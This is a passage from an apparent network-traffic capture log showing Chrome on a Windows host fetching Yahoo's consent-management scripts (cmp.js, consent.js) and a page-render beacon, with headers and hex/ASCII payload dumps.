2024-01-10 23:27:08 UTC	1300	IN	Data Raw: ea 4d 07 39 67 3d 8e cf 76 48 42 4b 17 15 db f7 16 59 89 67 9c 56 a7 66 da 87 ed 5b 1f 4e 55 23 20 e7 1c ee c4 1b 38 ca a6 62 7e bf 78 c9 15 cb b7 c5 c5 2e 1f b8 5d fa 78 17 50 1d c4 6e ae 67 a6 7e 6a 6d ec f7 60 77 13 40 77 ca e7 6c c7 65 ae 87 c0 bb 1d 5e f8 29 82 b9 fd 53 eb 75 2d 76 69 d9 13 ad 01 b2 73 2f b9 27 20 b6 38 d6 7d 16 22 b6 29 33 6b 9e cc 5e 58 bb db 5b 9c 80 0a 13 49 db 0d 95 de e9 b0 f6 3c b3 db 48 99 b4 58 99 f6 8e 38 f6 0c 0f e1 07 89 49 32 2c 55 75 51 49 a6 26 4b 23 6f a4 20 65 a9 62 77 cb ec 55 60 ba fb 1d 83 74 a4 27 43 80 05 d4 31 28 63 a0 c8 6c 16 d5 ed 34 3b 0d b2 db dd be ee f6 ef b2 26 36 ec ca d3 9d 94 39 ab b7 13 e7 60 b7 9b 53 37 cf ee 65 df 05 56 7b f7 68 c5 40 37 24 d5 6f 5f 82 97 78 37 0c 72 04 06 26 16 92 13 67 2e d8 d5 Data Ascii: M9g=vHBKYgVf[NU# 8b~x.]xPng~jm`w@wle^)Su-vis/' 8}")3k^X[I<HX8I2,UuQI&K#o ebwU`t'C1(cl4;&69`S7eV{h@7$o_x7r&g.
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: f6 5a a6 51 16 38 5e 3f a7 d5 08 19 c7 38 6f af e9 33 21 8b 4f 1c 95 d8 8e 7b 43 fd 77 93 f5 db 29 2a 71 da b6 d8 c4 b4 83 d5 f5 2a 9d 6d e5 0c 34 df b2 2a a2 f1 dc aa 8d 6a c6 c7 64 cd 95 36 ce 72 b8 7e c5 26 1b d3 f0 ad a0 e9 46 59 12 2d d0 62 b9 14 78 0d 9a bd 09 ba 0e 2a ee 2d c5 ba e3 61 04 b5 06 dd 5a 37 6a f6 a5 a0 57 51 2b 96 1a 47 37 a6 5e 4b 19 34 9b 26 d3 72 75 fb f4 7a 1c 03 ab 7b 38 ee 74 82 4e 52 e5 e2 2a de eb 60 8c ad 61 ba 39 66 9c 78 88 52 ef b5 89 a0 5e 03 c1 1d 21 b0 7c 91 d6 d3 a1 b3 26 c3 82 15 b0 bb 0c aa 9d ba 18 9b ab cf 5b 00 e7 3c c0 29 71 50 c7 87 ea c3 7d 50 9f c0 af 06 e0 e0 2a c8 7e 87 2a 0d 59 c5 b6 d6 20 90 ce f3 f9 45 91 99 d2 cc 10 39 18 0b 5a 6b a5 71 42 28 9d 02 20 e7 1e 90 f3 d3 4b a4 5d 6b 74 0e dd 36 71 22 88 2b ae Data Ascii: ZQ8^?8o3!O{Cw)qm4jd6r~&FY-bx-aZ7jWQ+G7^K4&ruz{8tNR`a9fxR^!\|&[<)qP}P~*Y E9ZkqB( K]kt6q"+
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 3d ce e5 88 64 a4 d2 22 ad da b4 3f 69 51 72 03 5d ec e9 d9 98 23 f7 82 ef b8 68 25 23 41 ee c0 81 ea 61 04 9e 3a 9c 97 28 62 7b 47 7f e7 a5 ca cc 14 25 1b f8 48 b5 c6 c7 52 fc 89 32 cb ba d4 1e 6d 37 ea b8 4d 5a 89 45 d6 28 81 28 f2 73 7b 5d 1b ad 8e bb 15 09 b0 4a 3d ab 16 02 fa 60 1f 3f a8 26 00 03 18 81 33 ca 3c 2f e5 78 75 96 69 0a 92 71 fa b3 6d 3b 71 b6 99 f7 bf 89 d7 d9 79 b9 f2 0c e9 80 c0 10 28 0c 8e 40 4e bb 47 15 f6 f4 d9 9c ba 01 5c f5 a1 6a 3c f3 dc 8b fd 7a f9 99 62 0d e0 fb 5f 6a 6c 9a 34 b3 6c ad aa d2 08 5b 2a 2d 68 d5 a6 bd 76 60 33 05 9d ba d8 d3 53 eb d2 8b 9f 66 5c a4 6f 55 0d 6a e5 43 4b 97 59 fb 81 60 76 69 66 cb d0 5e 9b 13 e6 ca 5d 0f 8a 73 e0 93 2c 04 7b ab 03 99 81 84 52 b3 25 59 0e ad 5a 05 cb 67 5a fa 67 a6 13 48 67 23 d3 08 Data Ascii: =d"?iQr]#h%#Aa:(b{G%HR2m7MZE((s{]J=`?&3</xuiqm;qy(@NG\j<zb_jl4l[*-hv`3Sf\oUjCKY`vif^]s,{R%YZgZgHg#
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 2a 36 20 47 01 16 7c b5 a2 e0 34 c4 4a 6c 38 03 9d 34 88 33 47 d0 f3 9e 42 cf 8e 9e 73 32 9c a0 2a b9 54 d6 94 92 8d a2 4d cd 36 3a 4d 3b 90 9d 1b cb 6e 64 6f a1 52 3b 66 67 fd 1e aa 93 0e d6 34 f7 5b 10 55 bd 4d 58 58 51 00 da 7b 58 7b fa 10 68 f7 c7 7c 7b 43 75 a9 d0 e3 61 8c a6 c9 b0 29 17 f4 2d 25 be 35 84 6d e3 5c a6 13 1d fc 16 f7 89 8a ba 1c 4d 44 51 8a 59 ad db f6 db f6 9b 7e 0e 5b 41 7e d0 55 b9 b6 6a 08 88 7a 20 d0 45 c2 c3 f2 65 38 15 2e ee 00 44 42 b3 f1 46 99 4e 3e 41 c1 1c 7a c5 24 9b 76 00 fb d1 11 53 5f 6c 07 b9 b5 3d a6 5a 53 95 5c 4d e4 01 98 b6 2e 54 73 f3 a1 bb 9c 36 93 17 13 b5 04 69 e5 81 87 da db e6 b2 2f 36 e2 01 ad 50 b1 d2 82 60 19 a4 3d cf 67 3e d7 fd 04 b8 0b b8 84 0c 17 15 43 82 c8 2f 10 11 2f 11 c2 52 1d 0b 07 61 c3 a5 87 06 Data Ascii: 6 G\|4Jl843GBs2TM6:M;ndoR;fg4[UMXXQ{X{h\|{Cua)-%5m\MDQY~[A~Ujz Ee8.DBFN>Az$vS_l=ZS\M.Ts6i/6P`=g>C//Ra

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49779	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:08 UTC	535	OUT	GET /aaq/cmp/version/6.4.0/cmp.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:08 UTC	797	IN	HTTP/1.1 200 OK x-amz-id-2: /SVGcjb7WLC6xLkWN3UhEDovnMCpham3nA6BeWKBLitTmUpxP8ZHxnWNI+7/5EHSmwPYbr/viqw= x-amz-request-id: WWK91Q9VNF3F1545 Date: Wed, 10 Jan 2024 23:27:09 GMT Last-Modified: Wed, 06 Sep 2023 17:41:16 GMT ETag: "35600da82cda4dc8a32e3f3e3d3040f0" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 x-amz-version-id: 0NB5wIePnD6VDNLrorup848w_F2MnmT3 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 185081 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:08 UTC	797	IN	Data Raw: 2f 2a 21 20 43 4d 50 20 36 2e 34 2e 30 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 38 20 4f 61 74 68 20 48 6f 6c 64 69 6e 67 73 2c 20 49 6e 63 2e 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 36 30 34 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 72 65 74 75 72 6e 28 74 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 Data Ascii: /! CMP 6.4.0 Copyright 2018 Oath Holdings, Inc. /!function(){var e={604:function(e){"use strict";function t(e){return(t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Sy
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 29 72 65 74 75 72 6e 20 72 3b 22 73 65 74 47 64 70 72 41 70 70 6c 69 65 73 22 3d 3d 3d 74 5b 30 5d 3f 74 2e 6c 65 6e 67 74 68 3e 33 26 26 32 3d 3d 3d 70 61 72 73 65 49 6e 74 28 74 5b 31 5d 2c 31 30 29 26 26 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 74 5b 33 5d 26 26 28 6e 3d 74 5b 33 5d 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 5b 32 5d 26 26 74 5b 32 5d 28 22 73 65 74 22 2c 21 30 29 29 3a 22 70 69 6e 67 22 3d 3d 3d 74 5b 30 5d 3f 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 5b 32 5d 26 26 74 5b 32 5d 28 7b 67 64 70 72 41 70 70 6c 69 65 73 3a 6e 2c 63 6d 70 4c 6f 61 64 65 64 3a 21 31 2c 63 6d 70 53 74 61 74 75 73 3a 22 73 74 75 62 22 7d 29 3a 72 2e 70 75 73 68 28 74 29 7d 2c 69 2e 61 64 64 45 76 65 6e 74 4c Data Ascii: )return r;"setGdprApplies"===t[0]?t.length>3&&2===parseInt(t[1],10)&&"boolean"==typeof t[3]&&(n=t[3],"function"==typeof t[2]&&t[2]("set",!0)):"ping"===t[0]?"function"==typeof t[2]&&t[2]({gdprApplies:n,cmpLoaded:!1,cmpStatus:"stub"}):r.push(t)},i.addEventL
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 3d 3d 74 29 6e 28 7b 67 70 70 56 65 72 73 69 6f 6e 3a 22 31 2e 31 22 2c 63 6d 70 53 74 61 74 75 73 3a 22 73 74 75 62 22 2c 63 6d 70 44 69 73 70 6c 61 79 53 74 61 74 75 73 3a 22 68 69 64 64 65 6e 22 2c 73 69 67 6e 61 6c 53 74 61 74 75 73 3a 22 6e 6f 74 20 72 65 61 64 79 22 2c 73 75 70 70 6f 72 74 65 64 41 50 49 73 3a 5b 22 32 3a 74 63 66 65 75 76 32 22 2c 22 35 3a 74 63 66 63 61 76 31 22 2c 22 36 3a 75 73 70 76 31 22 2c 22 37 3a 75 73 6e 61 74 76 31 22 2c 22 38 3a 75 73 63 61 76 31 22 2c 22 39 3a 75 73 76 61 76 31 22 2c 22 31 30 3a 75 73 63 6f 76 31 22 2c 22 31 31 3a 75 73 75 74 76 31 22 2c 22 31 32 3a 75 73 63 74 76 31 22 5d 2c 63 6d 70 49 64 3a 30 2c 73 65 63 74 69 6f 6e 4c 69 73 74 3a 5b 5d 2c 61 70 70 6c 69 63 61 62 6c 65 53 65 63 74 69 6f 6e 73 3a 5b Data Ascii: ==t)n({gppVersion:"1.1",cmpStatus:"stub",cmpDisplayStatus:"hidden",signalStatus:"not ready",supportedAPIs:["2:tcfeuv2","5:tcfcav1","6:uspv1","7:usnatv1","8:uscav1","9:usvav1","10:uscov1","11:usutv1","12:usctv1"],cmpId:0,sectionList:[],applicableSections:[
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 3d 3d 74 3f 6e 28 21 31 2c 21 30 29 3a 22 67 65 74 53 65 63 74 69 6f 6e 22 3d 3d 3d 74 7c 7c 22 67 65 74 46 69 65 6c 64 22 3d 3d 3d 74 3f 6e 28 6e 75 6c 6c 2c 21 30 29 3a 5f 5f 67 70 70 2e 71 75 65 75 65 2e 70 75 73 68 28 5b 5d 2e 73 6c 69 63 65 2e 61 70 70 6c 79 28 65 29 29 7d 2c 77 69 6e 64 6f 77 2e 5f 5f 67 70 70 5f 6d 73 67 68 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2e 64 61 74 61 3b 74 72 79 7b 76 61 72 20 6e 3d 74 3f 4a 53 4f 4e 2e 70 61 72 73 65 28 65 2e 64 61 74 61 29 3a 65 2e 64 61 74 61 7d 63 61 74 63 68 28 65 29 7b 6e 3d 6e 75 6c 6c 7d 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6e 26 26 6e 75 6c 6c 21 3d 3d 6e 26 26 22 5f 5f 67 70 70 43 61 Data Ascii: ==t?n(!1,!0):"getSection"===t\|\|"getField"===t?n(null,!0):__gpp.queue.push([].slice.apply(e))},window.__gpp_msghandler=function(e){var t="string"==typeof e.data;try{var n=t?JSON.parse(e.data):e.data}catch(e){n=null}if("object"==typeof n&&null!==n&&"__gppCa
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 3d 7b 7d 3b 74 72 79 7b 6e 3d 74 3f 4a 53 4f 4e 2e 70 61 72 73 65 28 65 2e 64 61 74 61 29 3a 65 2e 64 61 74 61 7d 63 61 74 63 68 28 65 29 7b 7d 76 61 72 20 72 3d 6e 2e 5f 5f 75 73 70 61 70 69 43 61 6c 6c 3b 72 26 26 77 69 6e 64 6f 77 2e 5f 5f 75 73 70 61 70 69 28 72 2e 63 6f 6d 6d 61 6e 64 2c 72 2e 76 65 72 73 69 6f 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 69 29 7b 76 61 72 20 6f 3d 7b 5f 5f 75 73 70 61 70 69 52 65 74 75 72 6e 3a 7b 72 65 74 75 72 6e 56 61 6c 75 65 3a 6e 2c 73 75 63 63 65 73 73 3a 69 2c 63 61 6c 6c 49 64 3a 72 2e 63 61 6c 6c 49 64 7d 7d 3b 74 26 26 28 6f 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 6f 29 29 2c 65 26 26 65 2e 73 6f 75 72 63 65 26 26 65 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 6f 2c 22 2a 22 29 7d 29 Data Ascii: ={};try{n=t?JSON.parse(e.data):e.data}catch(e){}var r=n.__uspapiCall;r&&window.__uspapi(r.command,r.version,(function(n,i){var o={__uspapiReturn:{returnValue:n,success:i,callId:r.callId}};t&&(o=JSON.stringify(o)),e&&e.source&&e.source.postMessage(o,"*")})
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 73 28 65 29 7b 74 68 69 73 2e 63 6d 70 41 70 69 43 6f 6e 74 65 78 74 2e 63 6d 70 53 74 61 74 75 73 3d 65 2c 74 68 69 73 2e 63 6d 70 41 70 69 43 6f 6e 74 65 78 74 2e 65 76 65 6e 74 51 75 65 75 65 2e 65 78 65 63 28 22 63 6d 70 53 74 61 74 75 73 22 2c 65 29 7d 67 65 74 43 6d 70 44 69 73 70 6c 61 79 53 74 61 74 75 73 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6d 70 41 70 69 43 6f 6e 74 65 78 74 2e 63 6d 70 44 69 73 70 6c 61 79 53 74 61 74 75 73 7d 73 65 74 43 6d 70 44 69 73 70 6c 61 79 53 74 61 74 75 73 28 65 29 7b 74 68 69 73 2e 63 6d 70 41 70 69 43 6f 6e 74 65 78 74 2e 63 6d 70 44 69 73 70 6c 61 79 53 74 61 74 75 73 3d 65 2c 74 68 69 73 2e 63 6d 70 41 70 69 43 6f 6e 74 65 78 74 2e 65 76 65 6e 74 51 75 65 75 65 2e 65 78 65 63 28 22 63 6d 70 44 69 73 70 Data Ascii: s(e){this.cmpApiContext.cmpStatus=e,this.cmpApiContext.eventQueue.exec("cmpStatus",e)}getCmpDisplayStatus(){return this.cmpApiContext.cmpDisplayStatus}setCmpDisplayStatus(e){this.cmpApiContext.cmpDisplayStatus=e,this.cmpApiContext.eventQueue.exec("cmpDisp
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 74 75 72 6e 20 74 68 69 73 2e 63 6d 70 41 70 69 43 6f 6e 74 65 78 74 2e 67 70 70 4d 6f 64 65 6c 2e 67 65 74 46 69 65 6c 64 56 61 6c 75 65 28 65 2c 74 29 7d 67 65 74 46 69 65 6c 64 56 61 6c 75 65 42 79 53 65 63 74 69 6f 6e 49 64 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 46 69 65 6c 64 56 61 6c 75 65 28 63 2e 53 65 63 74 69 6f 6e 73 2e 53 45 43 54 49 4f 4e 5f 49 44 5f 4e 41 4d 45 5f 4d 41 50 2e 67 65 74 28 65 29 2c 74 29 7d 67 65 74 53 65 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6d 70 41 70 69 43 6f 6e 74 65 78 74 2e 67 70 70 4d 6f 64 65 6c 2e 67 65 74 53 65 63 74 69 6f 6e 28 65 29 7d 67 65 74 53 65 63 74 69 6f 6e 42 79 49 64 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 53 65 63 74 69 6f 6e 28 63 2e Data Ascii: turn this.cmpApiContext.gppModel.getFieldValue(e,t)}getFieldValueBySectionId(e,t){return this.getFieldValue(c.Sections.SECTION_ID_NAME_MAP.get(e),t)}getSection(e){return this.cmpApiContext.gppModel.getSection(e)}getSectionById(e){return this.getSection(c.
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 3d 63 6c 61 73 73 7b 7d 3b 63 6c 61 73 73 20 63 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 74 68 69 73 2e 63 6f 6e 73 65 6e 74 4c 61 6e 67 75 61 67 65 73 3d 6e 65 77 20 73 2e 43 6f 6e 73 65 6e 74 4c 61 6e 67 75 61 67 65 73 2c 74 68 69 73 2e 6c 61 6e 67 75 61 67 65 3d 63 2e 44 45 46 41 55 4c 54 5f 4c 41 4e 47 55 41 47 45 2c 74 68 69 73 2e 72 65 61 64 79 3d 21 31 2c 74 68 69 73 2e 6c 61 6e 67 75 61 67 65 46 69 6c 65 6e 61 6d 65 3d 22 70 75 72 70 6f 73 65 73 2d 5b 4c 41 4e 47 5d 2e 6a 73 6f 6e 22 7d 73 74 61 74 69 63 20 66 72 6f 6d 56 65 6e 64 6f 72 4c 69 73 74 28 65 29 7b 6c 65 74 20 74 3d 6e 65 77 20 63 3b 72 65 74 75 72 6e 20 74 2e 70 6f 70 75 6c 61 74 65 28 65 29 2c 74 7d 73 74 61 74 69 63 20 66 72 6f 6d 55 72 6c 28 65 29 7b 72 65 74 75 72 6e 20 72 28 Data Ascii: =class{};class c{constructor(){this.consentLanguages=new s.ConsentLanguages,this.language=c.DEFAULT_LANGUAGE,this.ready=!1,this.languageFilename="purposes-[LANG].json"}static fromVendorList(e){let t=new c;return t.populate(e),t}static fromUrl(e){return r(
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 6c 61 74 65 28 79 69 65 6c 64 20 69 2e 4a 73 6f 6e 48 74 74 70 43 6c 69 65 6e 74 2e 66 65 74 63 68 28 6e 29 29 7d 63 61 74 63 68 28 65 29 7b 74 68 72 6f 77 20 6e 65 77 20 6f 2e 47 56 4c 45 72 72 6f 72 28 22 75 6e 61 62 6c 65 20 74 6f 20 6c 6f 61 64 20 6c 61 6e 67 75 61 67 65 3a 20 22 2b 65 2e 6d 65 73 73 61 67 65 29 7d 7d 7d 29 29 7d 67 65 74 4a 73 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 70 61 72 73 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 7b 67 76 6c 53 70 65 63 69 66 69 63 61 74 69 6f 6e 56 65 72 73 69 6f 6e 3a 74 68 69 73 2e 67 76 6c 53 70 65 63 69 66 69 63 61 74 69 6f 6e 56 65 72 73 69 6f 6e 2c 76 65 6e 64 6f 72 4c 69 73 74 56 65 72 73 69 6f 6e 3a 74 68 69 73 2e 76 65 6e 64 6f 72 4c 69 73 74 56 65 72 73 69 6f 6e 2c 74 63 66 50 6f Data Ascii: late(yield i.JsonHttpClient.fetch(n))}catch(e){throw new o.GVLError("unable to load language: "+e.message)}}}))}getJson(){return JSON.parse(JSON.stringify({gvlSpecificationVersion:this.gvlSpecificationVersion,vendorListVersion:this.vendorListVersion,tcfPo
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 72 45 61 63 68 28 28 65 3d 3e 7b 74 68 69 73 2e 62 79 50 75 72 70 6f 73 65 56 65 6e 64 6f 72 4d 61 70 5b 65 5d 3d 7b 6c 65 67 49 6e 74 3a 6e 65 77 20 53 65 74 2c 63 6f 6e 73 65 6e 74 3a 6e 65 77 20 53 65 74 2c 66 6c 65 78 69 62 6c 65 3a 6e 65 77 20 53 65 74 7d 7d 29 29 2c 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 68 69 73 2e 73 70 65 63 69 61 6c 50 75 72 70 6f 73 65 73 29 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 7b 74 68 69 73 2e 62 79 53 70 65 63 69 61 6c 50 75 72 70 6f 73 65 56 65 6e 64 6f 72 4d 61 70 5b 65 5d 3d 6e 65 77 20 53 65 74 7d 29 29 2c 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 68 69 73 2e 66 65 61 74 75 72 65 73 29 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 7b 74 68 69 73 2e 62 79 46 65 61 74 75 72 65 56 65 6e 64 6f 72 4d 61 70 5b 65 5d 3d 6e 65 77 20 53 Data Ascii: rEach((e=>{this.byPurposeVendorMap[e]={legInt:new Set,consent:new Set,flexible:new Set}})),Object.keys(this.specialPurposes).forEach((e=>{this.bySpecialPurposeVendorMap[e]=new Set})),Object.keys(this.features).forEach((e=>{this.byFeatureVendorMap[e]=new S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49791	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:08 UTC	1094	OUT	GET /info/p.gif?apptype=default&beaconType=pageRenderStart&code=pageRender&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&device=desktop&intl=us&rid=0gast8pipu9uc&site=fp&t=1704929228265 HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
2024-01-10 23:27:08 UTC	1138	IN	HTTP/1.1 204 No Content referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-powered-by: Express content-type: image/gif content-security-policy-report-only: default-src 'self'; report-uri https://csp.yahoo.com/beacon/csp?src=fendr_beaconeater.media.yahoo.com date: Wed, 10 Jan 2024 23:27:08 GMT x-envoy-upstream-service-time: 1 server: ATS Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=3grmardipu9uc&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49796	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	520	OUT	GET /oa/consent.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:09 UTC	787	IN	HTTP/1.1 200 OK x-amz-id-2: rnEQVm22DGmWCgneGoZr79wdVYd1zAnAPJXHY5WRvS57hyTfmI/OlVCJ6kwlBr4nHqwaoGQdhRE= x-amz-request-id: AW98BEBCAM053GTY Date: Wed, 10 Jan 2024 23:24:32 GMT Last-Modified: Wed, 10 Jan 2024 12:45:51 GMT ETag: "8b3e7199261258640a1ef846d809c8fe" x-amz-server-side-encryption: AES256 Cache-Control: max-age=300 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 85139 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 158 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 63 6f 6e 73 65 6e 74 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 36 38 34 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 6f 2c 69 2c 73 3b 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 66 28 6e 75 6c 6c 21 3d 6e 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 6e 2e 6e 6f 64 65 54 79 70 65 29 65 2e 65 78 70 6f 72 74 73 3d 61 28 29 3b 65 6c 73 65 20 69 66 28 6e 75 6c 6c 21 3d 74 2e 61 6d 64 4f 29 69 3d 5b 5d 2c 76 6f 69 64 20 30 3d 3d 3d 28 73 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6f 3d 61 Data Ascii: /! For license information please see consent.js.LICENSE.txt /!function(){var e={6848:function(e,n,t){var o,i,s;!function(a){"use strict";if(null!=n&&"number"!=typeof n.nodeType)e.exports=a();else if(null!=t.amdO)i=[],void 0===(s="function"==typeof(o=a
